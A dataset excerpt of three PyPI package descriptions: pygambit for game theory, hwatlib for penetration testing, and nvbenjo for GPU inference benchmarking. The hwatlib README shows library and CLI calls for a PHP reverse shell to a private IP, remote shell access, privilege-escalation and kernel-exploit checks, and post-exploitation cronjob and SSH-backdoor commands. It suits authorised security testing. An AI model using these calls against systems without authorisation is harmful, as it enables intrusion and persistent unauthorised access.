semvec/pypi-packages huggingface dataset:
pygambit 16.5.0
The package for computation in game theory
Requires Python: >=3.10
Keywords: game theory, Nash equilibrium

Gambit is a package for representing, manuipulating, and analysing
finite noncooperative games in extensive and normal form.

See the project homepage at www.gambit-project.org for more information.

Documentation of Gambit is hosted at https://gambitproject.readthedocs.io.
hwatlib 0.2.0
A practical penetration testing wrapper library for recon, web, exploitation, and post-exploitation.
Requires Python: >=3.7

# hwatlib

A practical pentesting and exploitation library with wrappers for recon, web enumeration, reverse shells, and privilege escalation.

---

To install, run:

```bash
pip3 install hwatlib
```

## Local Development

From the repository root:

```bash
pip3 install -e .
```

## Basic Usage

```python3
from hwatlib import exploit, privesc, recon, web

# Recon example
recon.init("example.com", add_to_hosts=True)
recon.nmap_scan()
recon.banner_grab()

# Web enumeration
web.fetch_all("http://example.com")

# Exploit (reverse shell)
exploit.php_reverse_shell("10.0.0.1", 4444)
```

## Privilege Escalation

```python3
from hwatlib import privesc

# Run various local privesc checks
privesc.run_checks()
privesc.enumerate_sudo()
privesc.enumerate_cron()
privesc.kernel_exploits()
```

## Custom IO / Remote Exploitation

```python3
from hwatlib import exploit

# Connect to remote host
remote = exploit.connect_remote("10.0.0.1", 31337)
remote.run_shell("bash")
```

## Web Exploitation

```python3
from hwatlib import web

# Fetchers and enumeration
web.fetch_headers("http://example.com")
web.fetch_forms("http://example.com/login")
web.fetch_js("http://example.com")

```

## CLI

After installation, these commands are available:

```bash
hwat report <target>
hwat-recon <target>
hwat-web <url>
hwat-exploit <ip> <port>
hwat-post

# State-changing actions are gated behind --confirm
hwat-post add-cronjob "id" --schedule "*/5 * * * *" --confirm
hwat-post backdoor-ssh "ssh-ed25519 AAAA..." --confirm
```

### Unified Report CLI

Generate a read-only report (JSON printed to stdout by default):

```bash
hwat report example.com
```

Write report outputs:

```bash
hwat report example.com --out-json report.json --out-md report.md
```

Sitemap export:

```bash
hwat report https://example.com --sitemap-json sitemap.json --sitemap-csv sitemap.csv
```

Plugins:

```bash
hwat report example.com --list-plugins
hwat report example.com --plugin mypkg.mychecks:check
```

### Config / Profiles

By default, hwatlib looks for `~/.config/hwat/config.toml`.

Example:

```toml
[profiles.default.http]
timeout = 7.5
verify = true
rate_limit_per_sec = 2.0

[profiles.default.http.proxies]
http = "http://127.0.0.1:8080"
https = "http://127.0.0.1:8080"

[profiles.default.http.headers]
User-Agent = "hwatlib"
```

Select a profile:

```bash
hwat report example.com --profile default
```

Hwatlib is under continuous development and more features for pentesting, recon, exploitation, and post-exploitation will be added.

## Safer Defaults

- HTTPS requests verify TLS certificates by default. If you *explicitly* need to disable verification, pass `verify=False` (and optionally `suppress_insecure_warning=True`) to `hwatlib.utils.fetch_url()`.
- State-changing post-exploitation helpers require explicit confirmation. For example, use `postex.add_cronjob_confirmed(..., confirm=True)` or `postex.backdoor_ssh_confirmed(..., confirm=True)`.
nvbenjo 0.0.2
Nvbenjo is a utility for benchmarking inference of deep learning models on NVIDIA GPUs.
Requires Python: <3.15,>=3.10

# Nvbenjo

[![Nox](https://img.shields.io/badge/%F0%9F%A6%8A-Nox-D85E00.svg)](https://github.com/wntrblm/nox)
![Ruff](https://github.com/lukas-jkl/nvbenjo/actions/workflows/ruff.yml/badge.svg)
![Tests](https://github.com/lukas-jkl/nvbenjo/actions/workflows/test.yml/badge.svg)

Nvbenjo is a utility for benchmarking inference of deep learning models on NVIDIA GPUs.
It supports models in [Onnx](https://onnx.ai/) format as well as [PyTorch](https://pytorch.org/) models.
Nvbenjo generates comprehensive benchmark results including:
- **CSV file** with all measurement data (latency, throughput, memory usage, etc.)
- **Plots** visualizing the benchmark results

## Demo
![Demo](./assets/demo.gif)

## Installing

```bash
pip install nvbenjo
```

If you need a specific version of PyTorch or want to benchmark Onnx models adapt your install:

```bash
pip install torch torchvision --index-url https://download.pytorch.org/whl/cu130
pip install onnx onnxruntime-gpu
pip install nvbenjo
```

## Usage

```bash
# Specify models to run in the command line
nvbenjo \
"+nvbenjo.models={\
    efficientnet: {type_or_path: 'torchvision:efficientnet_b0',  shape:['B',3,224,224],  batch_sizes: [16,32]},\
    resnet:       {type_or_path: 'torchvision:wide_resnet101_2', shape: ['B',3,224,224], batch_sizes: [16,32]}\
}"

# or better, specify your own config (or one of the pre-defined config files)
nvbenjo -cn small
nvbenjo -cn="/my/config/path/myconfig.yaml"

# override single arguments of your config
nvbenjo -cn="/my/config/path/myconfig.yaml" nvbenjo.models.mymodel.num_batches=10

# show current config and help
nvbenjo -cn="/my/config/path/myconfig.yaml" --help
```

Take a look at the [Documentation](https://nvbenjo.readthedocs.io) for more information as well as example configurations.

## Development

Example using uv:

```bash
uv sync --extra dev --extra onnx-cpu # or gpu
uv run nvbenjo

# for a quick run
uv run nvbenjo -cn small

# tests
uv run pytest
uv run nox
```